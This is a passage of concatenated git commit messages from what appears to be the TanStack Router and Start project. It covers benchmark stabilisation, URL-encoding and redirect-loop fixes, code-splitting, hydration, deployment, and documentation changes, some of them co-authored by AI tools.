measured values are stable regardless).
- mount: 6 ticks per iteration instead of 2. A single mount simulates to
only ~8ms and very short measures amplify allocator/GC quantization;
the bench now measures ~50ms+ of simulated CPU.
All 39 benches pass; full nx typecheck green.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(benchmarks): stop history benches sleeping in jsdom's traversal timers
The history benches were skip-warned by CodSpeed for excessive syscall
time (5-26ms, highly variable across runs). Root cause: jsdom delivers
history traversals through two nested window.setTimeout(0) tasks, and Node
clamps zero timers to 1ms of wall time — so while awaiting onRendered
after back/forward/go, the event loop blocked in epoll_wait until each
timer expired. That blocked wall-time is recorded as syscall time, and its
duration depends on host timer behavior, hence the variability.
The harness now reroutes zero-delay window.setTimeout calls onto
setImmediate for the duration of a benchmark (non-zero delays pass
through; clearTimeout handles both). Zero-delay timeouts carry no ordering
semantics a check-phase immediate doesn't satisfy, and the suite's
conventions already forbid real-delay timers in measured code.
Instrumented A/A verification (2 runs per framework): history syscall time
react 23-26ms -> 2.5ms, solid 14-23ms -> 1.1ms, vue 11-12ms -> 1.2ms, with
bit-identical syscall counts across runs and measured values stable to
0.06%. The benches also stopped measuring sleep: locally an iteration
dropped from ~42-49ms to ~5-11ms of actual CPU work. All 39 benches pass.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
---------
Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
* bench(memory): stabilize CodSpeed memory benchmarks
Memory flags on PRs were ~85% noise, from two causes:
1. Stale baselines (dominant): the Benchmarks workflow only ran on main
pushes touching packages/** or benchmarks/**. Main commits outside
those paths had no CodSpeed run, so PRs were compared against an old
base run ([^unexpected-base] on every recent codspeed-hq comment; six
late-June PRs all compared to the same June-23 run). One outlier base
measurement then replays into every PR until the next eligible push.
Fix: drop the paths filter for the push trigger + weekly cron backstop.
2. Wall-clock timers racing the single measured run: aborted-requests
(solid/vue) resolved deferred loader data on 500/750ms timeouts raced
against abort, and drained cancellation with at most one setTimeout(0);
streaming-peak staggered deferred sections by milliseconds. Under
variable runner load and instrumentation slowdown the interleaving —
and therefore the allocation sequence — differed run to run. Fix:
count 0ms timers-phase hops (event-loop turns) instead of milliseconds
everywhere async ordering must be staged, and drain aborts with a
fixed 8-turn settlement barrier.
Local before/after evidence (8 fresh-process runs per config, CodSpeed V8
determinism flags, idle + CPU-stressed; kernel peak RSS spread):
aborted-requests/solid idle 11.2MB -> 1.8MB (GC counts bit-identical)
aborted-requests/solid stress 7.7MB -> 2.5MB
streaming-peak/solid idle 6.2MB -> 2.5MB
request-churn/solid (untouched control): unchanged, confirming harness
streaming-peak/vue keeps ~2% proxy-level variance at any tick count; its
PR flags were the identical -3.2% in all three occurrences, i.e. the
stale-base artifact rather than per-run jitter.
Bench names and workload shapes are unchanged; absolute values will step
once on the CodSpeed dashboard from the removed cross-iteration overlap
(e.g. aborted-requests/solid retained 15.6MB -> 2.5MB per invocation).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* bench(memory): exclude docs/examples/e2e from main benchmark runs, drop cron
paths-ignore instead of no filter: docs/examples/e2e-only pushes cannot
affect benchmark results, and falling back across such a commit is safe
because the previous run's benchmark-relevant code is identical. The
weekly cron backstop is unnecessary for the same reason.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* bench(memory): pin GC between iterations in peak-shape scenarios
A/A runs of the real memory instrument showed the two big-payload peak
scenarios were still unstable with no timers involved: whether V8
collects iteration i's garbage before iteration i+1 allocates its
payload is not reproducible run to run, so the measured peak flipped by
a whole payload (serialization-payload solid: 6.8-9.2 MB across
identical runs; peak-large-page: 3.5-3.7 MB).
Peak scenarios measure the footprint of a single request, not
accumulation, so pin the collection points: settle two event-loop turns
(so trailing renderer/stream teardown is included) and force a GC after
each iteration. Peak then deterministically measures
max(single-request footprint). Churn scenarios are unchanged — their
signal is accumulation, which a forced GC would mask; the README rule
now spells out both sides.
A/A validation (3 identical instrumented runs, solid suite):
serialization-payload 6.8-9.2 MB -> 3.5-3.6 MB
peak-large-page 3.5-3.7 MB -> 754-757 KB (0.45% spread)
streaming-peak 38.5-39.5 -> 30.3/30.3/30.3 MB
churn scenarios unchanged (aborted-requests 1.4 MB x3)
Absolute values step because cross-iteration garbage no longer inflates
the peak; the new values are the per-request footprint the scenarios
were designed to track.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
---------
Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
* fix(router-core): preserve percent-encoded URL-unsafe chars in decodeSegment
Replace sanitizePathSegment (which stripped control characters) with a
re-encode step that keeps WHATWG path percent-encode set characters and
control characters in their encoded form after decodeURI.
This preserves the existing decodeURI-based approach which correctly
handles multi-byte UTF-8 sequences, while fixing the mismatch between
the original request URL and the router's internal representation that
caused infinite 307 redirect loops on paths containing these characters.
Fixes#7587.
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
* ci: apply automated fixes
---------
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Flo <me@florianpellet.com>
extractFlattened() always allocated a new Uint8Array and copied `count`
bytes, even when the requested bytes were fully contained in the first
buffered chunk (the common case, since most frames arrive within a single
network read).
Add a fast path that returns a subarray view of the first chunk when the
bytes are contiguous, avoiding the allocation and the byte copy. The
multi-chunk path is unchanged. The returned view shares the chunk's
backing ArrayBuffer, which is safe because buffered chunks are never
mutated in place after being read.
This is on the hot path for decoding every streamed server-function
response and RawStream binary payload on the client. A micro-benchmark
shows ~3x faster extraction for 1KB frames and ~27x for 64KB frames (the
win scales with payload size).
* fix(start-plugin-core): support rsbuild preview SSR
* fix(start-plugin-core): always install rsbuild SSR middleware in preview
Preview is the only SSR handler in `rsbuild preview`, so gate the opt-out
to dev only and keep the option named `installDevServerMiddleware`.
Adds a short comparison section answering the common question about how
TanStack Start's deferred hydration relates to React 18's selective
hydration. The framing: selective hydration controls the order of
inevitable hydration work; deferred hydration controls whether and when
that work happens at all.
* docs(skills): address 8 agent failure modes from external feedback
Adds new start-core/auth-server-primitives skill (sessions, cookies,
OAuth+PKCE, password-reset enumeration defense, CSRF, rate limiting,
session rotation) and updates 8 existing skills + matching docs to fix
patterns where agents produce insecure or wrong-framework output.
Skill changes:
- new: start-core/auth-server-primitives (server half of auth)
- router-core/auth-and-guards: route guard != RPC guard
- start-core/server-functions: wrong import path, RPC auth required,
Cache-Control public is a cross-tenant leak, wrong-framework patterns
- start-core/middleware: wrong import path, sendContext shape vs access
(3-layer wrong/still-wrong/correct), authMiddleware framing
- start-core/execution-model: file markers (server-only/client-only),
module-level process.env is undefined under Worker SSR
- start-core/deployment: cloudflare env-at-request-time
- router-core/ssr: wrong file structures (next.js, react-router-dom)
- router-core/type-safety: wrong-framework imports + structures
Docs updated to mirror each skill change so source-of-truth and the
intent-indexed skill stay in sync. New authentication-server-primitives
guide is the long-form companion to the new skill.
intent validate: 30 skill files pass (was 29).
* ci: apply automated fixes
* docs(skills): address coderabbit review feedback
- Fix internal docs links to use correct relative paths instead of an
absolute /start/latest/... URL and missing one ../ segment
- Remove blank line inside auth-and-guards blockquote (markdownlint MD028)
- Restore overload pattern in type-safety ValidateNavigateOptions and
ValidateRedirectOptions examples; the casts I had introduced stripped
generic context and contradicted the skill's own no-cast rule
- Add db.sessions.revokeAllForUser before create in login rotation
snippets so the example matches the prose
- Soften useServerFn guidance: it's required only when the server
function throws redirect/notFound; plain-data calls work directly and
via useMutation/useQuery
* ci: apply automated fixes
* docs(skills): compress type-safety to stay under 500-line cap
Prettier's autofix expanded my single-line overload signatures across
multiple lines, pushing the file over the 500-line limit. Drop the
redundant fetchOrRedirect example (same pattern as useDelayedNavigate)
and describe ValidateRedirectOptions usage in prose instead.
* docs(skills): CSRF origin check should compare full origin, not host alone
Comparing only new URL(origin).host against APP_HOST silently accepts a
mismatched scheme — http://example.com would pass a check meant for
https://example.com. Compare the full origin (scheme + host + port)
against APP_ORIGIN instead. Same fix in skill and docs.
* docs(skills): make useDelayedNavigate callback truly return void
The callback returned the result of setTimeout (a timer handle), not
void as the public overload's return type implied. Wrap in a block so
the example matches the declared return type.
Skipped the related nitpick to add a separate redirect example — the
existing prose already describes the same overload pattern, and a
duplicate example would push the file close to the 500-line cap that
prettier autofix has been bumping us against.
* docs(skills): fix two real bugs in auth-server-primitives examples
1. Cookie parser truncated values containing '='. Signed cookies, JWTs,
and base64-padded values all use '='. Use indexOf to split on the
FIRST '=' only.
2. Login example short-circuited verifyPasswordHash on user-not-found,
contradicting the prose's "same time, same error" claim — the
no-user branch returned instantly while wrong-password spent ~100ms
hashing, leaking account existence over the wire. Always verify
against a hash; use a precomputed DUMMY_PASSWORD_HASH when the user
is missing, then combine with the user-exists bit for the final ok.
Same fixes in the SKILL.md and the docs companion.
* docs(skills): address manuel's review on react-specific guides
- middleware.md, server-functions.md: drop cross-framework <framework>
placeholders; this is the React-specific guide, just say
@tanstack/react-start
- execution-model.md: drop the same trailing line about solid-start /
vue-start paths
- hosting.md: remove the Cloudflare env-handling subsection — the
general per-request rule lives in environment-variables.md and
doesn't need to be repeated under a specific host
- environment-variables.md: mention the cloudflare:workers env binding
as the canonical Cloudflare way to read env (including module scope),
per Manuel's link to the Cloudflare docs
- deployment skill: same upgrade — show the cloudflare:workers env
pattern alongside the per-request handler approach
* docs(skills): drop redundant server-only marker in session example
The file already imports from @tanstack/react-start/server, which is
on import protection's default client-deny specifier list. The
side-effect marker is redundant — drop it. Same fix in skill and docs.
* docs(skills): drop wrong-import-path mistakes — TS already catches them
Manuel pointed out that TypeScript catches both common wrong paths:
'@tanstack/react-router' has no exported member createServerFn /
createMiddleware, and '@tanstack/start' is "Cannot find module". Skill
space is precious; the items don't earn their slot if tsc handles them.
Removed:
- Common Mistake "Wrong import path" from server-functions and
middleware skills (renumbered the remaining mistakes)
- The matching top-of-file CRITICAL line in both skills
- The "Import path" callouts in the middleware and server-functions
docs
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
* feat: `strict: false` for server functions
Add a `strict` option to `createServerFn` for type-level server function serialization checks
* feat: `strict: false` for server functions [Self-Healing CI Rerun]
---------
Co-authored-by: nx-cloud[bot] <71083854+nx-cloud[bot]@users.noreply.github.com>
* refactor(router-plugin): upgrade unplugin to `v3`
* refactor(start-client-core): use a more explicit typing to `CustomFetch` type
* chore(examples): runtime enforce for needing the `VITE_CONVEX_URL`
* add sharding
* fix dependnancy
* fix playwright shard port reuse
* full bust
* throw more runners into this run
* try to throw money at it and see the effect
* tune
* fix: write static server function cache to correct output directory with Nitro
TSS_CLIENT_OUTPUT_DIR was baked in via Vite's define at config time, before
Nitro's configEnvironment hook changed the client build.outDir. This caused
staticServerFnCache files to be written to dist/client/ instead of
.output/public/.
- Remove TSS_CLIENT_OUTPUT_DIR from compile-time define in start-plugin-core
- Set it as a runtime env var in prerender.ts using the resolved output dir
- Guard server-side cache writes on TSS_CLIENT_OUTPUT_DIR being set
- Add e2e test for static server functions with Nitro
* fix: remove dynamic Link to nonexistent route to fix tsc --noEmit
docs: import defaultRenderHandler instead of renderRouterToString in ssr.md
example using defaultRenderHandler imports renderRouterToString instead of defaultRenderHandler
Co-authored-by: Nico Lynzaad <44094871+nlynzaad@users.noreply.github.com>
* fix(examples): remove stale delay slider reference from with-trpc example
* fix(examples): also remove preload state slider text from with-trpc example
---------
Co-authored-by: sleitor <sleitor@users.noreply.github.com>
Co-authored-by: Dmitrii Troitskii <jsleitor@gmail.com>
fix: Update route file name in routing concepts
The code block title `src/routes/posts.tsx` does not match against the line above `posts.$postId.tsx`
This pr fixes this typo
* fix(react-router): prevent hydration warning for async/defer scripts
Strip async, defer, and src attributes from script tags during client-side hydration to match the server-rendered output and prevent React hydration mismatch warnings.
* test(react-router): add unit and e2e tests for async script hydration
Adds unit tests to verify server output includes async/defer attributes, and e2e tests to verify no hydration warnings occur on the client.
---------
Co-authored-by: Manuel Schiller <manuel.schiller@caligano.de>
* fix: pass pathname to global request middleware in createStartHandler
The two `executeMiddleware` calls for global request middleware in
`createStartHandler` were missing the `pathname` property, causing it
to be `undefined` at runtime despite `RequestServerOptions` declaring
it as `pathname: string`.
- Add `pathname: url.pathname` to server function middleware execution
- Add `pathname: url.pathname` to page request middleware execution
The route-level middleware in `handleServerRoutes` already passes
`pathname` correctly.
Closes TanStack/router#6647
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* test: add regression test for pathname in global request middleware (#6647)
Add e2e tests to server-functions-global-middleware verifying that
pathname is correctly passed to global request middleware in
createStartHandler.
- Add pathnameMiddleware that captures pathname from server callback
- Add dedicated pathname-middleware route and test page
- Verify pathname value on both SSR and client-side navigation
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* refactor: remove unnecessary `as any` cast from pathname middleware test
The middleware type system correctly infers `requestMiddlewarePathname`
on the context, so the explicit cast is not needed.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* ci: apply automated fixes
---------
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
* fix: shared virtual module for code-split routes
When a route file has module-level bindings (variables, functions, classes) referenced by **both** split and non-split route properties, the bindings are duplicated — initialized independently in the reference file and in each virtual split file. This breaks singletons, causes double side effects, and wastes bundle size.
```tsx
const collection = { name: 'todos', preload: async () => {} }
export const Route = createFileRoute('/todos')({
loader: async () => {
await collection.preload()
}, // stays in reference
component: () => <div>{collection.name}</div>, // split to virtual
})
```
In this example, `collection` is initialized in **both** the reference file (because `loader` references it) and the `?tsr-split=component` virtual file (because the component references it). Two separate instances exist at runtime.
To solve this issue, this PR introduces a third virtual module `route.tsx?tsr-shared=1` that contains shared bindings. Both the reference and virtual files import from it.
When `sharedBindings` is empty (the common case — component-only helpers, loader-only code), no shared module exists and the system works exactly as today.
The reference transform runs first and will emit a static import of `?tsr-shared=1` **only when needed**. Since split chunks are only discovered via the reference file's emitted `import('...?tsr-split=...')`, the bundler will always process/evaluate the reference module first. Result: the shared module is evaluated once and then reused by any later-loaded split chunk.
* fix: preserve data script content during client hydration
The Script component renders all <script> tags with empty content on
the client side, then uses useEffect to recreate them via DOM
manipulation. While necessary for executable scripts (they need
document.createElement to trigger execution), this causes data-only
scripts like application/ld+json to briefly flash empty during
hydration.
Per the HTML spec, any script with a type that isn't a JavaScript MIME
type or "module" is a "data block" that the browser never executes.
These can safely render their content directly via innerHTML on both
server and client, just like <style> tags already do in the same file.
Changes across react-router, solid-router, and vue-router:
- Detect non-executable script types via the type attribute
- Early-return in the client-side effect for data scripts
- Render data script content directly instead of emptying it
* ci: apply automated fixes
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
* fix(prerender): add check for settled queue to skip empty prerender filter
* test(prerender): add test for resolving when prerender filter matches no pages
* fix: optimize match retrieval by using a Map for previous matches
* feat: add strict false parameter handling and related routes
* replace params only when routeParams is fully parsed
---------
Co-authored-by: Nico Lynzaad <nlynzaad@zylangroup.com>
Co-authored-by: Nico Lynzaad <44094871+nlynzaad@users.noreply.github.com>
* add test to verify redirect
* handle redirect
* update tests
* cleanup unused code in decodePath
* use 308 instead of 302
* redirect is not relevant in spa mode
* docs: add Cloudflare Workers handlers section to server entry point
* docs: append link to official Cloudflare Workers docs
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
* docs: reduce to link per reviewer feedback
---------
Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
* fix: do not pass signal into server function
* fix test
* ci: apply automated fixes
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
* convert AuthKit example to use new SDK
* clean up and fixes
* remove vite dep in start-server-core
* fix(examples): remove unnecessary dotenv import from WorkOS example
Vite automatically loads .env files, so the manual dotenv.config() call is unnecessary and causes a build failure since dotenv is not installed as a dependency.
* fix lint issue
* fix(examples): fix WorkOS AuthKit sign-in and sign-out
- Add parentheses to handleCallbackRoute() in callback route
- Add reloadDocument to logout Links to prevent CORS errors
- Upgrade SDK to v0.5.0 and remove unused dependencies
The sign-out was failing with CORS errors because client-side
navigation via server functions caused fetch to follow the external
redirect to WorkOS. Using reloadDocument forces a full page navigation,
allowing the server to return a proper HTTP redirect.
* fix(examples): use re-exported User type from authkit package
Import User from @workos/authkit-tanstack-react-start instead of
@workos-inc/node to fix tsc --noEmit failure in CI. The authkit
package already re-exports this type to avoid server-only deps
in client code.
* fix(examples): restore authkit-tanstack-react-start dependency
Replace @workos-inc/node with @workos/authkit-tanstack-react-start
in the WorkOS example. The code imports from the authkit package,
not the low-level node SDK.
---------
Co-authored-by: Tanner Linsley <tannerlinsley@gmail.com>
* Updated typo in internationalization-i18n.md
Optional path parameters typescript example had a typo (/abotu not /about).
* ci: apply automated fixes
* Fix typo in internationalization guide
reapply change that was undone by ci: apply automated fixes
---------
Co-authored-by: Nico Lynzaad <44094871+nlynzaad@users.noreply.github.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
* fix(router-core): use encodeURIComponent for splat route params
Use encodeURIComponent instead of encodeURI for splat route parameters
to properly encode spaces, plus signs, and other special characters.
This fixes an SSR redirect loop that occurs when:
1. User navigates to a splat route with encoded characters (e.g., %20)
2. TanStack Router decodes params with decodeURIComponent
3. When rebuilding URL, encodeURI doesn't encode spaces/special chars
4. URL mismatch triggers redirect loop (307 redirects)
encodeURIComponent properly encodes these characters, preventing the
mismatch while still preserving forward slashes as path separators.
* update tests to use correct encoding for splat params
* use encodePathParam for splat/catch-all
* perf(router-core): add early return for URL-safe splat values
Add performance optimization that skips the split/map/join operation
when splat values only contain URL-safe characters (alphanumeric,
dash, period, underscore, tilde, exclamation, forward slash).
This avoids unnecessary processing in the hot path for common cases.
* fix(router-core): encode whitespace in encodeNonAscii
Update encodeNonAscii to also encode whitespace characters (spaces, tabs, etc.)
in addition to non-ASCII characters. This fixes SSR redirect loops where:
1. Request URL contains encoded spaces: /path/file%20name.pdf
2. parseLocation decodes pathname: /path/file name.pdf
3. buildLocation calls encodeNonAscii but spaces weren't encoded
4. URL mismatch triggers redirect loop
Now encodeNonAscii properly encodes:
- Whitespace characters (spaces become %20)
- Non-ASCII/unicode characters (including emojis)
Other ASCII special characters (parentheses, brackets, etc.) are preserved
as they are valid in URL paths.
* refactor(router-core): use regex in encodeNonAscii like original
* refactor(router-core): rename encodeNonAscii to encodePathLikeUrl
Rename the function to better reflect its expanded responsibility of
encoding paths the same way new URL() would, including:
- Whitespace characters (spaces → %20, tabs → %09)
- Non-ASCII/Unicode characters (emojis, accented characters)
The old name 'encodeNonAscii' was misleading since the function now
encodes more than just non-ASCII characters.
---------
Co-authored-by: Nico Lynzaad <nlynzaad@zylangroup.com>
Co-authored-by: Nico Lynzaad <44094871+nlynzaad@users.noreply.github.com>
* performance: don't use `replaceEqualDeep` on the server
* performance: do not subscribe to store on the server
* lint
* simple store on the server
* vue + solid
* fix(router-core): pathless nodes do not consume path segments during param extraction
* woops, didnt mean to commit this
* better tests, and better solution
* ci: apply automated fixes
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
The route generator stores file paths with forward slashes
but rspack and webpack on Windows pass native paths with
backslashes to transform handlers.
This caused TSR_ROUTES_BY_ID_MAP lookups to fail, preventing
autoCodeSplitting from working on Windows with rspack.The
route generator stores file paths with forward slashes, but
rspack and webpack on Windows pass native paths with backslashes to
transform handlers.
This caused TSR_ROUTES_BY_ID_MAP lookups to fail, preventing
autoCodeSplitting from working on Windows with rspack.
* fix: vite preview base path support
* fix: base name with trailing slash support
* update example for demo purpose
* prettier: resolve import order
---------
Co-authored-by: Nico Lynzaad <nlynzaad@zylangroup.com>
Co-authored-by: Nico Lynzaad <44094871+nlynzaad@users.noreply.github.com>
* feat: RawStream
* framed json response is not newline split
* avoid code duplication in tests
* actually defer promise
* fix empty stream
* hardening
* optimization
* stream counter
* fix cancellation
* lint
* fix test
* stabilize tests
* stabilize tests
* fix(e2e): add hydration delay for SSR mixed stream test
In CI, hydration takes longer so reader.read() can hang if called
before seroval's stream factory connects callbacks. 100ms delay
ensures stream is ready to be consumed.
* skip test when prerendering
* fix: detect .handler() when separated by whitespace
* fix: also match createServerFn(
* fix: use word boundary for createServerFn regex
* make regex more permissive
---------
Co-authored-by: Manuel Schiller <manuel.schiller@caligano.de>
* docs(seo): add static file options for robots.txt and sitemap.xml
Document that users can place static robots.txt and sitemap.xml files
in the public directory as a simpler alternative to server routes.
* docs(seo): add Nozzle.io recommendation for rank tracking
Add a "Track Your Rankings" section recommending Nozzle.io as a partner
tool for monitoring SEO performance and keyword rankings.
---------
Co-authored-by: Claude <noreply@anthropic.com>
* docs(start): add SEO guide for React and Solid frameworks
Add a comprehensive SEO guide that clarifies what SEO actually means
for developers and explains TanStack Start's technical SEO capabilities:
- Document head management (meta tags, titles, Open Graph)
- Server-side rendering for crawlability
- Static prerendering for performance
- Structured data (JSON-LD) for rich results
- Sitemap and robots.txt generation via server routes
- Best practices for technical SEO
This addresses the common misconception that SEO is just a checkbox,
explaining that it's about using available tools effectively.
* docs(start): add LLMO guide and cross-references with SEO guide
Add a comprehensive LLM Optimization (LLMO) guide for both React and
Solid frameworks, covering:
- What LLMO/AIO/GEO is and how it differs from traditional SEO
- Structured data (JSON-LD) for AI consumption
- Schema.org examples: Article, Product, Organization, FAQ
- Machine-readable API endpoints
- Content best practices for AI extraction
- llms.txt implementation
- Monitoring AI citations
Also adds cross-reference callouts between SEO and LLMO guides to help
users discover related content.
* ci: apply automated fixes
* docs(start): move SEO and LLMO guides to end of guides list
* docs(start): fix server route examples to use createFileRoute
Update SEO and LLMO guides to use createFileRoute with server.handlers
instead of createServerFileRoute for consistency across React and Solid.
* docs(start): document built-in sitemap and fix route file naming
- Add built-in sitemap generation with prerender + crawlLinks
- Show dynamic sitemap as alternative for dynamic content
- Fix escaped period syntax in file names: sitemap[.]xml.ts, robots[.]txt.ts, llms[.]txt.ts
- Add CDN caching recommendation for dynamic sitemaps
---------
Co-authored-by: Claude <noreply@anthropic.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
* feat(router-generator): allow escaping any special string in file-based routing
This change extends the router-generator's escaping mechanism to allow ANY
special string to be escaped using square bracket syntax, not just dots.
## Problem
Previously, the router-generator only supported escaping dots using [.]
syntax (e.g., script[.]js.tsx -> /script.js). However, special strings
like 'index', 'route', 'lazy', and underscores ('_') could not be escaped,
making it impossible to create routes with literal paths like /index,
/route, /lazy, or paths containing literal underscores.
## Solution
Extended the escaping mechanism to support:
1. **Escaped special suffixes**: [index], [route], [lazy], [component], etc.
- [index].tsx -> /index (literal path, NOT treated as index route)
- [route].tsx -> /route (literal path, NOT treated as layout config)
- [lazy].tsx -> /lazy (literal path, NOT treated as lazy-loaded route)
2. **Escaped underscores in any position**:
- Leading: [_]layout.tsx -> /_layout (literal, NOT pathless layout)
- Trailing: blog[_].tsx -> /blog_ (literal, NOT escaping parent layout)
- Middle: foo[_]bar.tsx -> /foo_bar (literal underscore preserved)
- Multiple: api[_]v2[_]users.tsx -> /api_v2_users
- Fully escaped: [_prefix_middle_suffix].tsx -> /_prefix_middle_suffix
3. **Custom token escaping**: Works with custom indexToken and routeToken
- [_1nd3x].tsx with indexToken='_1nd3x' -> /_1nd3x (literal path)
- posts.[_r0ut3_].tsx with routeToken='_r0ut3_' -> /posts/_r0ut3_
## Implementation Details
### src/utils.ts
- Removed '_' from DISALLOWED_ESCAPE_CHARS to allow underscore escaping
- Added isSegmentEscaped() to check if a segment was bracket-escaped
- Added hasEscapedLeadingUnderscore() to detect [_] prefix or [_...] patterns
- Added hasEscapedTrailingUnderscore() to detect [_] suffix or [..._] patterns
- Added removeUnderscoresWithEscape() to preserve escaped underscores
- Added removeLayoutSegmentsWithEscape() to preserve escaped layout segments
- Added isSegmentPathless() to check for non-escaped leading underscores
- Updated inferFullPath() to use escape-aware functions
### src/filesystem/physical/getRouteNodes.ts
- Added escape checking for special suffixes (route, lazy, component, etc.)
- Updated isValidPathlessLayoutRoute() to check for escaped underscores
- Updated getRouteMeta() to accept originalRoutePath and check escaping
### src/generator.ts
- Updated handleNode() to use escape-aware path processing functions
- Compute trimmedOriginalPath alongside trimmedPath for escape detection
## Tests Added
- escaped-special-strings: Tests escaping of index, route, lazy, and
underscores in various positions (leading, trailing, middle, multiple)
- escaped-custom-tokens: Tests escaping with custom indexToken and
routeToken configurations
* simplify
* fix test
* add utils unit tests
* add e2e test
* ci: apply automated fixes
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
* docs(start): add guide for rendering markdown content
Add comprehensive guide covering two methods for importing and rendering
markdown in TanStack Start applications:
- Static markdown with content-collections for build-time loading
- Dynamic markdown fetched from GitHub or remote sources at runtime
Includes setup for unified/remark/rehype pipeline, code highlighting with
Shiki, and practical examples for blog posts and documentation pages.
* ci: apply automated fixes
* docs(start): add rendering-markdown to navigation config
---------
Co-authored-by: Claude <noreply@anthropic.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
* small fix to server function
* ci: apply automated fixes
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
* fix: Fixed the defaultNotFoundComponent as guided by #5757
* ci: apply automated fixes
* fix: correct from <div> to <p> tag
* chore: added docstring to renderRouteNotFound.tsx for both react-router and solid-router
* ci: apply automated fixes
* chore: revert file changes by autofix-ci[bot]
* ci: apply automated fixes
* chore: cleanup documentation of not-found-errors.md
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
* feat: add vite preview support
* test: vite preview with react and solid
---------
Co-authored-by: Birk Skyum <74932975+birkskyum@users.noreply.github.com>
* docs(solid-router): quickstart example
* link new example
* ci: apply automated fixes
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
* auth-firebase
* docs(solid-router): authenticated-routes-firebase
* add authenticated-routes to example overview
* solid example
* format
* ci: apply automated fixes
* call user function
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Fix cloudflare workers anchor link
Previously the anchor link was set to "#cloudflare-workers" which was not working due to change in title, so I replaced it with "#cloudflare-workers--official-partner".
Co-authored-by: Birk Skyum <74932975+birkskyum@users.noreply.github.com>
* add router-core fixes and update tests
* update react-router unit tests
* update react-router e2e tests
* update solid-router unit tests
* update solid-router e2e tests
* update test description
* rename function
* rename test as per codeRabbit nitpick
* test cleanup
docs: improve Netlify hosting docs golden path
Revamp the Netlify hosting docs again, to provide a single golden default path that is precise and
works for most use cases, and call out alternatives separately in subsections.
Also add links out to further Netlify docs where appropriate to increase discoverability and
troubleshootability.
* add decode path segment util
* ensure navigation and browsing to path has same encoding/decoding
* add e2e tests
* add test recommendations
* nitpick
* minor enhancements
* build array once
* add additional unit and e2e tests
* remove react import from solid test
* nitpicks
* final nitpicks
* use history.push
Add JSDoc to 20 public APIs across core and React
Improve self-documentation for core utilities, history creators, and React hooks/components used in public docs. Focused on `path`/search utils, scroll restoration, `redirect` helpers, `createRouter`, file-route helpers, and key hooks like `useNavigate`, `useMatch`, `useParams`, `useSearch`, `useLoaderData/Deps`, `useRouter`, `useRouterState`, `useLocation`, `useCanGoBack`, plus SSR helpers. No type annotations changed.
Co-authored-by: Cursor Agent <cursoragent@cursor.com>
* make use of prod setup for spa-mode e2e test
* ci: apply automated fixes
* nitpick
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
* fix: createServerFn fetcher has TSS_SERVER_FUNCTION symbol prop
* add serializer extension, register server functions to be serializable
* remove cast
before this happened:
```
vite:hmr circular imports detected: /src/routes/posts.route.tsx -> /src/utils/posts.tsx -> /node_modules/@tanstack/react-start/dist/esm/client.js?v=0794880d -> /node_modules/@tanstack/react-start-client/dist/esm/index.js?v=0794880d -> /node_modules/@tanstack/start-client-core/dist/esm/client/index.js?v=0794880d -> /node_modules/@tanstack/start-client-core/dist/esm/client/hydrateStart.js?v=0794880d -> /src/router.tsx -> /src/routeTree.gen.ts -> /src/routes/posts.route.tsx
```
the transform of `createServerFn` imported `createClientRpc` from `@tanstack/react-start/client` which also export `hydrateStart` in index.ts
moving `createClientRpc` into its own package export resolved this issue
Co-authored-by: Claude <noreply@anthropic.com>
Co-authored-by: Manuel Schiller <manuel.schiller@caligano.de>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
The nitro v3 plugin link is incorrect, fix with correct one
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Documentation**
* Updated Vercel deployment guide to reference the correct Nitro v3 Vite
plugin (now nitro-nightly), keeping the BETA status note.
* Clarifies deployment steps for React users relying on Nitro v3,
reducing confusion from outdated plugin naming.
* Ensures alignment with current tooling to improve setup reliability
and developer confidence.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
small typo
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Documentation**
* Corrected a typo in the Router CLI installation guide by removing a
duplicated word (“your”) in the scripts section. Improves clarity and
professionalism of the instructions. No functional impact or behavior
changes. No configuration updates required; users don’t need to take any
action beyond reading the updated doc. Purely editorial change.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
